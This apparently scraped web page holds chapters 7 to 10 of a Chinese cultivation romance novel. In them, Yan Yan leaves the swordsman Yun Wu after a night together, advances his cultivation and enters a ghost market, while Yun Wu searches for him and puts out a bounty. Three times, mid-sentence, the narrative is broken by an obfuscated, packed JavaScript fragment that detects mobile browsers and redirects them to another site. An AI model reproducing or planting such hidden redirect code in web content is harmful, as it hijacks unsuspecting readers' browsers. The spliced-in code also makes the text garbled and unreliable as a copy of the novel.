宴焱脑中只有这么一个念头。 可云梧的重剑果真不凡,加之宴焱境界不如他,梦里宴焱还是落败了。 朦胧间,宴焱只看到云梧那双薄情眼满是戏谑,冷冷俯视着跪倒在地的宴焱,唇角讥嘲,剑锋对准宴焱命门,道: “这么弱还想成为我的对手?” 宴焱想张嘴反驳,可惊愕的发觉自己的喉头干涩,发不出一点声音,连全身的力道也被卸下了。 只得徒劳的大张着嘴,眼睁睁的看着那把寒剑刺来—— * “不——” 宴焱这晚睡得不安稳,又是一阵呼吸起伏,梦呓开口。 做噩梦了吗? 云梧枕着一边手臂,另一只手不住的扣着被角,眼帘垂落,侧躺望着宴焱紧皱的眉,心头发紧,也跟着不自主的皱起眉。 宴焱的吐息急促,许是梦里的情绪起伏,长睫轻轻抖动。 叫云梧不自觉的伸出只手,挑开他面上湿濡的发,露出光洁的侧脸。 石洞寂静无声,唯有二人的呼吸。 忽地,宴焱又启唇,这次梦呓的声音微弱,云梧只得支起身体,向前俯身,耳廓轻轻凑近了一张一合的唇瓣,才能听到些许字句。 “再、再战。” 温热的吐息碰洒在云梧的耳廓上,叫云梧的脖颈和耳朵一路烧红了。 尽管知道宴焱听不见,云梧还是磕磕绊绊的解释道: “再来吗?可是你身体有点受不住了。” “我,我刚刚看了一下,都发肿了。你要想再来……我去采点药,替你敷一敷。” 他说完这话,便屏起声,静静等了会宴焱的反应。 宴焱果真听不见,说完再战之后便没了声音,又昏睡了过去。 不知为何,云梧心里空落了一瞬,目光落在宴焱俊艳白皙的侧脸上,喉头滚了滚。 细腿丰腴的触感似乎还在掌心之中,光滑柔韧。 云梧也是年少初尝滋味,开始时还克制几分,而后便忘了,发了疯一样掐着那块起伏,抚摸着腿部结痂的伤疤,什么茱萸唇肉,都被他毫不客气的品尝过了。 甜的。 舌根发干,云梧匆忙收回自己的视线。 冥界并不适合人修修炼,阿火一个人孤身在冥界,说不准是因为追杀或是悬赏才躲避在此。身上的布料也不是昂贵的货色,想必不是世家子弟,身无靠山。 昨晚一夜阿火的眉头都是紧皱的,似乎是有什么心事,不知是不是梦里被歹人追杀了。 想想也是,他一个练气中期的修士,没有宗门的依仗本就不易,再有这张惑人的脸以前的日子定然不好过。 不过没事。 云梧的视线柔和了下来。轻轻的靠着宴焱躺下,他的臂膀宽阔,将宴焱拢在一层阴影下。 日后他就是阿火最大的依仗。 任何人,包括阿火的心头之患,他都会替阿火除去。 云梧的心头甜滋滋的。等阿火一醒来,自己就要去替阿火收拾那些不长眼的东西。 说不准……阿火还会更爱自己呢。 这般想着,云梧唇角的笑意便止不住的扬起,甚至已经要掰着指头数三书六礼,高抬大轿要备些什么了。 轿前提桶里要塞满高阶灵石,红轿得要去妖界最为手巧的万工坊做,红绸要是西海鲛人织的,聘书嘛……就劳烦蜀山老祖出山,替他攥写一二了。 想着想着,天边便泛起鱼肚白,整个冥界笼罩在淡淡的白光下,石洞里也透出了一点光亮。 阿火身上的红肿还没好,云梧一直心心念念着,他知道冥界崖边特产一种医药,晨初时分才开花,最是适合疗伤了。 见天亮了,云梧也止住了不着边际的筹划,低头又瞧了瞧宴焱,颇有点不舍,但还是悄悄的俯下身,在宴焱额间落下一吻后,便依依不舍三步两回头的离开了石穴。 8. 第 8 章 宴焱惊醒了。 梦里云梧讥嘲不屑的话语似乎还在耳畔。浑身酸软的肌肉昭示着这是一场鏖战,宴焱尝试性的动了动手指,却是一阵钻心的酸软从各处传来。 疼,真的很疼。 身下铺了厚实干燥的一层衣物,温暖清香,倒是很适合人窝着。洞穴干净,地面干燥,覆着一层薄薄地衣,像是被人仔细打扫过了。 高处石壁上被人凿开一个小洞,立着一柄螭首铜烛台,晃着火光,还细心的坠了红绸,打了蝴蝶结,在昏暗的洞穴中曳开一处光亮。 宴焱花了好大的劲才奋力把自己从衣物堆里拔了出来,身上的衣服倒是干净清爽,应当是被人用净水决处理过了。 环顾四周。没有人。 云梧好像已经离开了。 宴焱也不细究云梧的行踪。云梧走了倒是一大好事,起码给了自己再暗中修炼超越他的机会。 于是宴焱没有浪费这宝贵的时间,轻轻整了整衣物,便凝神闭眼,盘腿坐定,仔细查看了一下自身的经脉。 经过了一夜的战斗,筋脉倒是打开了不少。细薄的主脉被硬生生拓开,灵力顺畅的通过原本阻塞的地方,连一贯干涸的窍穴也能氤氲一些灵力了。 宴焱尝试的运行了一个周期的灵力,惊讶的发现居然畅通无阻! 怎么回事? 灵力流细细排查过每一处细脉,不一会儿,宴焱就寻到了畅通筋脉的源头。 原来是在下腹丹田处残留着一些灵液,灵液的具体成分未知,但含着万年魂莲的精华。 万年魂莲每万年一开,若是无人采摘便会继续氤氲灵气,采摘之后才会诞下下一颗种子,珍贵无比。冥界独存的这颗万年魂莲开了三万年,蕴含的能量丰裕,只是一点儿魂莲精华就足以将宴焱体内闭塞的经脉疏通干净。 虽然不知道这万年魂莲精华是如何进入宴焱体内的,但也算是意外之喜,因祸得福了。 宴焱吐了口气,沉下心来又运转了一个周期。 修士的主脉有三,分别是天脉、地脉、丹田处的经脉。再往下,便是细分的小筋脉,连通四肢端。筋脉打通得越多越宽,调动灵力的能力便越强悍。 九转灵体的经脉多,但细,而且脉壁单薄。宴焱初期纯靠硬生生的用大量灵力冲击脉壁才拓开一点点缝隙。 而今筋脉全开,四面八方的灵力登时涌来,疯狂的注入宴焱的丹田中!一时间,周遭轻微的气息和动静都被纳入耳中。 宴焱捏诀听息,心念一动。 他的境界一直在练气中期徘徊,但实际上因为先前给筋脉扩容的缘故,宴焱一直不停的修炼,他贮存灵力的窍穴比同期的修者宽广上不少,甚至已经要达到金丹的水准。 这下子筋脉一旦拓开,原本顽固的境界就有了松动的趋势,甚至隐隐要连越两阶,迈入筑基! 宴焱的眉梢微微松动,略有喜色。 如果迈入筑基期,那么他契约的灵体又能多上一两个,更是加上几分打败云梧的筹码。 突破需要一处灵力丰裕又无人打扰的请修之地,此处并不适宜。宴焱稍微歇息了会,用灵力强行抚慰酸软部位后,才支起身体,扶着覆满青苔的石壁,朝着外边走去。 已经是上午了,日头不大,阴沉沉的,垫着一层阴翳。 宴焱抬了抬眼,适应了下周遭的光线。 云梧选的这处洞穴在森林的某处角落,树林遮盖林立,倒是隐蔽,只可惜灵力并不浓郁。洞口便有一颗苍天大树,盘根错结的枝干阻挡了大部分的路。 宴焱的脚刚刚碾上凸起的树根,后背脊椎尾骨处猛然钻来一股刺痛,疼得他一蹙眉。 奇怪,怎么还在疼? 昨天云梧到底拿什么同他打斗了? 宴焱骤然想起了什么,低头翻找自己的衣袖,又在四处寻了一圈,终于在某个树杈上看见了高高挂着的系统,正呼呼大睡,还睡得挺香。 宴焱不客气的把它打了下来,拎在手上。 “醒醒,走了。” 系统被拍了两下,悠悠转醒,迷茫的睁开眼:“结、结束了?” 宴焱点头,追问道:“可惜我昨日昏过去了,没能看见云梧的功法。你可有看见什么细节?” 虽说系统不大靠谱,但能得到一点儿信息也算好的。 可系统晃了晃脑袋,道:“不是我不想看,昨天你俩打起来的时候不知道为啥,我只能看到一团马赛克。” 马赛克? 宴焱拧眉不解。 “可能是密法的原因?天道或许不想让咱看清他的功法。” 系统扇着翅膀,找补道。 “也罢,情毒解开便好。” 宴焱没打算继续纠结,一勾手,将系统拎在手上。溟则是乖巧的在宴焱的发丝间,朝着南方探了探头。 此处树林繁密,但再往前走几步就是一处高地,宴焱几步跃上石块巅,往下俯瞰着附近的景色。 远处还是绿色繁密的丛林,只是在森林的边缘隐隐有小溪汇成的一条支流,朝着南方继续延展。 宴焱初落的方位是冥界的边陲地带,而冥界的中心、万壑交汇处则是能通其余四界的关隘——鬼市。 鬼修不同于其他五界生灵,也算灵体的一种,但坏在很多有自主意识,不会甘愿被契约。可一旦被契约,其战力会比未开灵智的灵体好上不少。 宴焱打定主意,要去鬼市碰碰运气。 若是运气好,他可以在天黑前寻到一处洞穴,闭关,几天后便能前往鬼市。 这么想着,宴焱也不再耽搁,最后望了眼洞穴的方向,便启程向着南方走去。 * 云梧是在临近中午时分才赶回洞穴的。 今儿他的运气不算好,一连找了几个崖壁都没有寻到合适的医草。 不知为何,这附近的灵力流都很乱,冥气到处乱窜,长出来的医草不是没开花就是蔫蔫的,一个能入药的都没有。 终于寻到了一处留有瀑布的崖壁,数丈雪白瀑流倾泻而下,隆隆声四起,溅起的水花有半丈高。 在厚重的瀑帘之后,云梧眼尖的瞧见一株长势极好的医草,心下一喜,捻决御剑要采。 可不想瀑布之后潜伏着一只千年老鬼,有元婴后期的修为,功法诡异狡诈,一见到人修便缠上了云梧。云梧牵扯之下和它斗了两个时辰,等到了一切尘埃落定,早便日上三竿了。 坏了,阿火不会醒了吧? 云梧匆忙的往回头赶。 洞穴狭小,他会不会怕?自己一个人,行动不便,万一受了伤怎么办? 种种想法在云梧脑中交织,箐云剑快得要掠出残影,不到半个时辰的功夫,云梧便回到了洞穴口。 洞口青苔零落,隐隐有人践踏过的痕迹。 “阿火?” 云梧心下一颤。 进石洞处一探,果真没了人,只有烛火还在不屈的燃着,挂的红绸也蔫蔫的。 云梧寻思着应当是宴焱看不见他,出去寻他了。宴焱身上还有伤,肯定走不了多远,他便又在附近的丛林里转了又转,找了又找,唤了又唤。 可是从中午一直到了太阳落山,从山头到了山脚,愣是一点儿宴焱的影子都没有。 云梧不甘心的用灵力探寻宴焱的气息,可是方圆十里竟然都没有。 去哪里了? 云梧的心一下儿悬了起来。 是不是被那好色的魂灵抓去了?还是迷路了?或是…… 想把自己抛下了。不负责了。 不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258158|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能。 云梧连忙把这个可怕的念头甩了出去。 自己的多才多金,样貌也算过得去,也是个能称得上号的青年才俊,应该不会被嫌弃的。 可是……云梧又愁开了。 虽说自己天赋算好,但是年龄吃亏,也不过金丹中期。万一宴焱以前认识的人里头有什么老头子仗着自己年岁大,把他哄骗走了怎么办? 云梧心头纠紧。眼见日头要黑了,赶忙又开始往远处寻找。 可是不仅今天找不到,第二天、第三天、第四天……云梧一连在冥界呆了七天,都快把这篇山头翻遍了也找不到宴焱的影子。 不见了,甚至连一份离别信,一个信物都没有给自己留下! 又是一天寻找无果,眼下暮色渐浓,云梧抱剑,烦躁的在洞穴外的大树下来回走动着。脚步沉闷,忽地一顿。灵光一闪。 不会是因为宴焱的体质特殊,即使是男子也能怀孕,察觉自己有孕之后就带球跑了吧?!! 反正绝对不可能是不想对自己负责了!! 云梧停下脚步来凝神细思,心头惴惴,愈发觉得有道理。 自己看过不少类似情节的情话本子。诸如冷心冷情的剑尊疯狂一夜之后枕边人消失不见,再见时,那人的身侧已然有了两个天才双胞胎宝宝,强势归来后打脸刁难的众人,剑尊追妻多年才终成眷属。 或是无情道人道心破损,一问才知是与合欢宗大弟子有染,大弟子怀胎十月惨死宗门内,无情道人追悔莫及之类的。 云梧越细想越觉得毛骨悚然,开始回忆起自己那日的言行举止有没有让宴焱误会的地方。 莫非是当时他和宴焱提议双修的时候语气太冷淡了?或是在耳鬓厮磨的时候表现得太急色了? 这么一打头,云梧旺盛的想象力便止不住了。 待到几月之后再找到宴焱时,会不会就是被欺负得凄惨的柔若无骨小孕夫,抑或坚强不屈的小白花,见到夫君之后便抱头痛哭诉说遭遇…… 就在云梧胡思乱想之时,远处忽地传来一声熟悉的啼鸣。 却见一道纤细雪白的身影从空中飞掠来,速度极快,飙出残影。一落地,朱色爪胫抓住云梧面前弯曲的树枝,张着嘴,喘了几口气,口吐人言: “小师弟,你快些回去吧,整整七天传讯灵都没消息,师叔都要急坏了。” 这女声清脆。正是蜀道剑宗怀清剑尊座下大师姐——三青鸟,三清道人。 云梧本来还想躬身相拜,闻言,抿嘴道:“大师姐,我还有要事。” “什么要事?魂莲没采到?” 云梧摇头,斟酌着,还是开了口,颇带郁气:“我遇到了我的命定道侣。” “嚯?”三青鸟一听,立马站定,登时把师尊的吩咐抛到脑后,也不急着催云梧走了,一副吃瓜为重的模样。 “咋回事呢?” “他被歹人……歹鬼所迫,我救下了他,然后……” 云梧大概是心中郁闷已久,不吐不快,将细节原委一一道来。 “我们就发生关系了,之后……” “然后呢然后呢。”三青鸟不知从哪掏出了一包瓜子,一边乱吐瓜子皮,一边继续追问。 “然后他就不见了,我很着急。万一他……” “万一他怀孕了是吧?”三青鸟猜中云梧所想,接了他的话茬。 云梧猛然抬头,着急道: “师姐你也是这么认为对吧?他一个人太危险了大着肚子怎么办呀?我不能回去!!” 三青鸟认同的点了点头,掀开翅膀,安抚性的拍了拍云梧的肩头,语重心长: “包的师弟包的,毕竟你那么多情话本子都是从师姐这进的货,师姐还不知道你喜欢脑补哪种剧情吗?” 9. 第 9 章 她还不了解她这师弟吗?表面上冷心冷情高不可攀,内地里就是一死恋爱脑,每天在剑宗秘法里夹着追妻火葬场的情话本子看,可谓如痴如醉。 偏偏天赋冠绝天下,领悟力极强,纯纯一天赋哥,不学也能轻松领悟剑意,三青鸟都要眼红死了。 每回宗门弟子大会上,剑尊都要带头表扬云梧每日勤于领悟剑法才有如此成就。瞧着台下万计弟子热血澎湃,满眼慕孺的望向淡然从容的云梧时,三青鸟都要在底下憋笑,久而久之都有了内伤。 三青鸟心中吐槽:别说怀孕了,人家认不认你当道侣都说不准呢。 但这话可不能让师弟听见,她为了能让云梧安心回去,只好剑走偏锋: “师姐不是说你异想天开,师姐只是觉得你一人在冥界苦找不如回宗,宗门中能人众多。况且我们与叩天台交往甚密,这些命修说不准有办法算出来……” 三青鸟的这番话倒是戳中了云梧的心坎,慌乱的脑子也冷静了下来。 也是。 冥界宽广,一人寻找如同大海捞针,如若回宗颁布寻人令应当会更快找到阿火。 “多谢师姐。”他朝着三青鸟一拜。 说完这话,云梧不肯耽搁一点儿时间。 箐云剑登时出鞘,云梧一跃而上。剑起,飞掠上空,决然而去,留下了一串淡淡的雾气和被呛了满嘴灰的三青鸟。 三青鸟:……谢完就扔是吧。 算了。 他都是恋爱脑了就让让他吧。 * 宴焱此时还不知道自己已经从柔弱小白花进化为了柔弱小孕夫。 他的筑基十分顺利。 大概是远离了云梧的缘故,宴焱只觉得神清气爽,天雷也只是象征性的劈了劈。甚至最后一截雷还给宴焱从崖壁上劈下了一棵千年灵草。 宴焱自是欢喜,充盈的灵气在指尖徘徊,全身筋脉疏通,念头通达,畅快无比。 虽说九转灵体无法自行凝聚灵流攻击,但灵力充盈意味着他对全身的调动能力更强,元神也会更强悍。 收拾了下自己,宴焱顺着一处溪水流水的方向一路行去。 没一会儿,一条支流的源头便赫然出现,岸边丛林茂密,枯叶遍地。宴焱又顺着水流方向翻过了一个山头,虬结大树逐渐稀少,眼前登时掠开一片旷阔的平原。 一条大江从中平地而起,如蛇类盘旋的躯干,缓慢的蠕动着,攀爬向远处的苍穹。 鬼市地处往生河的尽头,沿着任何一条大江都能到达鬼市。 夜半开市,若是运气好,待到日暮时分,宴焱还能在江岸边搭乘摆渡舟,能节省不少的时辰。 暮色渐浓,天道开眼。只是一会儿的功夫,宽广的江水中央漾起点点波澜,下一秒,水波一圈接一圈的向外扩散,打起江边白浪。 江水被什么东西搅动了片刻,紧接着,水面之上隆起一块雪白光滑的壳骨,是龟壳。 而后那只骨龟的头部也探了出来,脖子由一块块连接排列的节骨组成,又细又长,足有数丈高。 粗足重重的搅动水面,它只有三足,一足长于脖底,二足并排在尾部排列。 是三足龟的白骨! 没等宴焱细看,江面登时起了一层浓厚的雾气,紧紧的附着于江水平面,将水波的纹路遮挡得严严实实。 再一晃眼,骨龟的头骨上就浮现了道人影。一位身披黑袍,脸上没有五官的船夫端坐,手持一柄长浆,划动雾气,驱使着骨龟朝着宴焱行去。 骨龟缓缓爬上岸边,沉下了庞大的身躯。 “摆渡费算半柱香的寿元。” 船夫幽幽道,声音暗哑。 它们是生于往生河道的鬼役,日出即散,日落即生。 宴焱颔首,正准备从岸边一跃而上,可脚刚刚碾至坚硬的骨头,船夫突兀的叫了一声,视线奇怪的落在宴焱的身上。 “你的命数……怪也怪也。” 宴焱脚下动作一顿,不着痕迹的扫过船夫的动作。心下警觉。 鬼役特殊,是轮回的使者,对于寿元和命缘之事颇为敏感。六界或有传闻道,这些鬼役便是那些参透天机道命修陨落所化,轮回眼可见天数。 作为天命之子,命元特殊也不是件怪事。被鬼役这么一扫,宴焱也不知他看到了什么。 但他不想惹麻烦。 好在船夫没多说什么,只是又沉默的划着桨。宴焱磨了磨后牙槽,不出一言,轻点细沙,飞跃至骨龟背上。 浩渺江水一路晃晃荡荡,驼着骨龟缓缓向前挪动,暮色沉寂,点点骨莲缀在江面,绰绰光影一齐划亮黑沉的江水。 远远望去,却见九曲盘旋的大江无数,密密麻麻的从大地的四处汇聚成一点。 终点处,万盏骨莲灯齐聚,糜烂盛大的灯火缀在江面,将高处苍穹的那处鬼市样貌映衬得愈发清楚。 细看之下,能见巨大城墙之后那处繁华的掠影,丹楹刻桷,碧瓦朱檐,集六界琼台玉宇为一城,是幽魂轮回最后的狂欢处。 江面倾斜的幅度越来越大,水流的速度也一并高涨,一个大浪拍来,将骨龟狠狠的推至高悬的水面。 “抓紧了,别掉下去。” 船夫悠悠转头。慢吞吞道,手下动作却又快又急,一个划桨,驱使着骨龟猛然向前一跃! 壳骨光滑,难以保持平衡。宴焱俯身,尽力稳住重心。可龟体灵活,又是一道大浪拍来,庞大的身躯像游鱼一样快速摆动,狠狠一甩!! 宴焱面色一沉,迅速抬手一扯发间骨鞭,手腕一震,将鞭尾甩向龟壳尖锐的边缘。 溟一勾尾巴,牢牢的扒住龟壳。 与此同时,骨龟的身躯近乎垂直的扒在汹涌的江面上。宴焱一手紧攥住鞭柄,一手捞住唧哇乱叫的系统。单薄的身体悬吊于在庞大的龟壳旁,猛烈的摇晃着。 周遭骨莲也一齐飞速的上下起伏,有几盏避让大浪不及,被狂潮暴戾的一拍,瞬间碎成数块,很快便被紧随其后的大浪吞食。 龟壳上原本还有几个乘坐摆渡的魂灵,这么一遭下来甩飞了七七八八,只剩下原本的三分之一还在坚守。 又是一个浪头,好在不大,颠簸了下后江面重新恢复了平稳。 船夫划桨的动作这才重归缓慢,它施施然转过头,平整空白的面部对准了后方的狼狈一片。 “还行,没死太多。” 语调上扬,语气轻快,听着颇为满意。 宴焱回头望一圈,鬼头三三两两,相较于一路搭载而来的满舟鬼头只能说的上是凄惨。 看来这鬼市之行……比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258159|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己想象中的还要凶险。 宴焱缓缓转过了头,木着脸,细白的手指有一搭没一搭的整理着褶皱的袖口。 骨龟行径速度很快。 一会儿的功夫,远处的鬼市迅速逼近,扩张变大,俯视着如同芝麻小点的骨龟。壮阔的城墙撕开薄雾,露出巨兽匍匐的一角。 水越来越浅。 宴焱抬头望去,宏大的鬼市近在眼前。它坐落于往生河最终交汇处的下方,像一座悬浮的孤岛,薄雾缠绕,隐隐能见期间繁荣的景象。 城墙围岛而建,有许多入口。有一条往生河支流绕着鬼市盘旋,如同护城河。 那儿便是摆渡舟的终点。 骨龟缓缓爬上了岸边细滩,‘轰’的一声,趴了下去。 这是一个很大的港口,鬼声鼎沸。密密麻麻数以万计的骨龟爬上浅滩,将沿途的细滩塞的满满当当。 千万往生魂灵从龟背上爬下,叮叮当当的背着家当,朝着城门口狂奔而去。只是鬼市的交通管控极差,踩踏互殴都是常事。 一时间推搡骂声塞满了岸边。 “诶哟我的舌头!!” 是吊死鬼的长舌被没素质的乱踩。 “他爹的那是我的头不是马球!” 是断头魂的头被乱糟糟的鬼群当做球传来传去。 “帅哥认识一下呗?” 是好色鬼趁乱扒上了宴焱的肩头。 宴焱面无表情,不语,只是一味的飞快扯下前仆后继的好色鬼,手快出了残影。 短短岸边到城门的一路,宴焱身上趴了不下二十只色鬼。定睛一看,还都是些面色发虚的男鬼。 ……冥界这地方指定有点说法。 宴焱面色铁青。 偏偏人修在冥界是众矢之的,许多凶残的魂灵喜爱生灵的味道。如若宴焱贸然出手打散色鬼,不定要招来什么呢。 忍了又忍,忍了双忍,忍了叒忍。 终于挤到了城门之下。 守门的是只巨大的眼珠,嵌在厚重的城墙之中。 当漫长的队伍轮到宴焱时,那只眼球转了转,粗粝的眼皮一眨。貌似挺不爱干净的,叫宴焱能清楚的看清它眼皮褶皱中灰色的脏污。 红色瞳仁对准了宴焱,眯了眯眼睛,又眯了眯眼睛。 “嘶——” 眼球忽地猛吸一口气。 宴焱心一悬,攥着骨柄的手愈发紧。 他先前拿突破筑基的奖励同系统换了一个能掩盖人修身份的buff,但一路行来,却还是遭到船夫明里暗里的凝视。 但生人按理说也是能进出鬼市。只是时辰不同,需得在天亮前出市,否则会被困在混沌鬼市之中,不知生死。 可这些鬼役处处透露着诡异之处,宴焱不得不防。 莫非它看出些什么了—— 随着厚重粗粝的眼皮又一次眨动,眼球粗旷的声音传入了宴焱的耳中,叫他紧绷的神经一跳。 却听它嘟嘟囔囔道: “我该配个玻璃片子了,老是看不清……”接着一顿,又道: “艳鬼出身否?啧啧啧,真有本事,吸了不少元阳啊!” 宴焱:…… 静默片刻。 宴焱从牙缝里逼出个字。 “是……” 10. 第 10 章 眼球揶揄的瞧了眼宴焱,那眼神好像在说懂得都懂。 宴焱不想懂。 他真受够冥界这帮子男同了。 城门发出了轰鸣。两扇厚重的铜门缓缓向着两侧移动,让出一条能供一人通行的路来。 “夜半开市,日出闭市。预祝客官玩得愉快~” 眼球开口,又补了一句。语气轻快,笑眼眯眯。 只是巨瞳红眼,略有些瘆人。 宴焱迟疑的望了眼巨瞳笑弯起的眼,脚下动作一顿。 溟察觉到宴焱骤然紧绷的身体,也缠绕得更紧了些。 总觉得有古怪…… 但开城门的时间紧迫,宴焱只好收回视线,飞快垂下眼帘,转回身,快速迈开脚朝着里头走去。 匆匆穿过厚重城墙,铜门之后街影登时纳入眼中。 触目是一片万鬼巡街的盛况,宽阔街道中间赫然一队浩荡长龙,数万鬼役抬轿起,喇叭唢呐声不断。点点莲灯黑身青柄,由一路白衣女鬼手持,远观犹如一条墨色长蛇。 巨大的木轿之上亦有数位青衣鬼伶作舞,软红十丈,冥乐声声。 街道两边是交易的摊位。鼎沸的鬼声从四处街角檐下传来,密密麻麻的鬼头塞满了八街九陌。 轿边两侧鬼役皆身披一身青袍,拖着长腔冲着周边鬼群道: “修君生辰,万鬼开道——” 声音尖锐,身躯不由分说的撞开挡路的倒霉鬼,将鬼身狠狠撞倒至一侧摊位中。 倒霉鬼避让不及,就这么仰面砸倒了摊面,金银碎石崩乱一地。 “他爹的——蛮横什么呢?” 倒霉鬼骂骂咧咧的爬起身,幽怨的瞧了眼扬长而去的鬼役。可声音微小,分明是不敢在鬼役面前开腔。 旁边面黄肌瘦的饿死鬼也劝慰的拉了拉倒霉鬼的衣袖,低声道:“算了,谁让它们是修君的部下呢?” 又有鬼接腔道:“是啊,木蕊还在城中,你小心着点……” 宴焱敏锐的捕捉到了‘修君’这个陌生的名讳。目光扫过那条巡游长龙,徘徊片刻,落在抬矫边的恶鬼雕刻木象上。 黑身青脑,獠牙尖锐。不像是人修殒命后化作的恶鬼。 倒像是妖修。 所谓修君……不会是修蛇吧? 宴焱的猜测并非凭空而来。 三百年前老妖王蛟龙病逝,余下数子夺嫡,其中实力最为鼎盛的莫过于修蛇和相柳。两股势力相互搏斗,最终不知怎么的,修蛇一朝陨落,相柳成了新一代妖王。 再过了百年余,相柳于妖王殿中暴毙。从此妖界纷乱,群雄四起。 有知情人道,修蛇神魂未灭,而是入了冥界重新盘踞于冥妖交界处。长兄相柳也是他一手杀害。 宴焱的目光落在远远行去的背影,半晌才收回了视线,沉默着融入鬼群之中。 看来鬼市局势纷杂,还是小心为好。 * 宴焱这次鬼市之行,除却要在寅时前往仙界之外,最为要紧的是去寻一个境界合适的鬼修签订契约。 鬼市什么都卖,也包括沦为鬼奴的鬼修。 兜过几条繁华的街道,眼前赫然出现一处装横精细的茶楼。檐角飞扬,铜色大门铁色壁钮。说是茶楼,实则是买卖鬼口之地。 门口候着几位小二,有个灰衣的眼尖,打远瞧见了气度不凡的宴焱,点头哈腰的就迎了上来: “客官里边请,这就给您上个雅座!” 小二一面说着,一面不着痕迹的掠过宴焱做工精细的袖口,面上笑容更盛。 宴焱为了避祸,一入鬼市便戴上了顶帷幕。此时他只是略一颔首,面色不露,便跟着小二向里走去。 踏入门,又穿过重重鬼兵把手的铜门,茶楼的整体才映入眼帘——环状重叠的座位从上至下排列,赫然是座无虚席。 底下是一处宽大的斗兽场,有两只鬼奴被拴在圆圈两角,铁链穿入肩胛骨,血色蜿蜒,在脚下汇成一滩黑色血迹。 “客官,这边请。” 小二笑意盈盈,将人领到一处打点精细的隔间,位置极好,能一眼将楼下景致纳入眼底。 落座后,宴焱随手指了杯茶水,便打发了小二出去。 楼下客人的闲谈很快飞入宴焱的耳中。 “你说这万典茶楼生意如此兴隆,三千中品灵石的鬼奴一卖就是两。买来也不用,就放在这儿自相残杀。啧啧啧,鬼傻钱多啊。” 有鬼揶揄: “瞧你这酸样,你要是有这钱,花的比这还大手笔呢。” 那鬼也不恼,冷哼了声继续道: “要说有钱,还得是剑修啊。那六界第一宗蜀山剑宗前几日出了个悬赏,你猜赏金多少?” “一千两上品灵石?”有鬼好奇的接话。 “错了。” 那鬼冷笑着,比了个数。 “一支灵脉。” 这一句出来,周遭登时响起一片倒吸凉气道声音。 那可是一只灵脉啊!什么概念?区区一条,便足以养活一个小型宗门了。 世间多少宗门世仇都是为了一只灵脉而起?又有多少修士世家花了千余年才争取到一条灵脉? 而今,它就这么轻而易举的当做了个悬赏的赏金。 有鬼眼红道:“嚯,这么大的手笔,也不知是何方妖孽让剑宗如此下血本。” “你又错了。”那鬼轻蔑的瞥了眼,仿若在讥笑出声鬼的眼界小。 “不是剑宗,是剑宗少宗云梧发的。悬赏也不是什么妖孽,而是道侣的消息。人家可宝贝着呢,千叮咛万嘱咐不要伤及一根毫毛,否则不仅赏金全无,还会被人寻仇呢。” 话音落下,不仅是周围鬼沉默了,无端端的开始反思自己是不是只穷鬼。连同在雅座上的宴焱也一并沉默了。 先不说云梧这哥们什么时候又得到了个情缘。就单单出手就是一支阔气的灵脉这回事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258160|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都能叫宴焱心态失衡了一会。 都是龙傲天。他兜里除却刚刚花下的茶水费,就只剩下可怜的一枚上品灵石。照着万典茶楼的物价,能不能买下一只鬼奴都算个问题。 可恶。 宴焱撑着额头,指尖不停摩挲着肌肤,颇感头大。 那畔的客人沉默半会儿,又继续攀谈上了: “也是,云梧云少宗,背靠大宗,又是万年难出一个的天生剑骨,和我们这等鬼比什么?” “那是自然。就拿不久后要开的六界证道大会来说吧。三年一轮回,百岁以下才能比斗。云梧才二十有余,都是多少届的魁首了……这次恐怕还是他。” 先前挑话的鬼又重重的嗤笑一声:“你这话说的,天下小辈万千,有谁能比得过他?想想也是,这届的奖赏可是溯世镜,比得上多少条灵脉啊。难怪人家大手笔呢……” 宴焱听的仔细。当他们说到六界证道会时,轻碾茶杯边缘的动作一顿。 六界证道大会的奖赏溯世镜他是听过的,初期系统为了让他了解自己的命数,特地给宴焱看了几处能推动进阶的重要物件。 溯世镜恰好就是其中一件。 宴焱有一搭没一搭的轻点茶杯,垂下眼帘,细细思索。 眼下他境界不过筑基,单靠自己的武力,可以越界同金丹后期的普通修士搏上一搏。溟的实力虽强,但恢复的时间长,六界证道大会持续多月,恐怕最后只能靠自己。 照着前几天那场比武来看,云梧的实力远不止金丹后期。 溯世镜的重要程度系统是反复强调过,由于无法直接将未来会发生的事情告知宴焱,系统的言语也只能停留在‘是能决定你前途的重要法宝’。 宴焱而今已然失去了九阳剑骨和万年魂莲,溯世镜他必然要拿下! 看来今晚的鬼奴,他是想方设法也要搞到手了! 就在这时,圆底斗兽场上的锁链轰然一动,伴随着冤鬼咆哮之声,一侧的鬼役手持打魂鞭,狠狠抽打在两只鬼奴的身上。原本紧闭苍白的眼皮骤然掀开,露出里头黑压压的瞳孔。 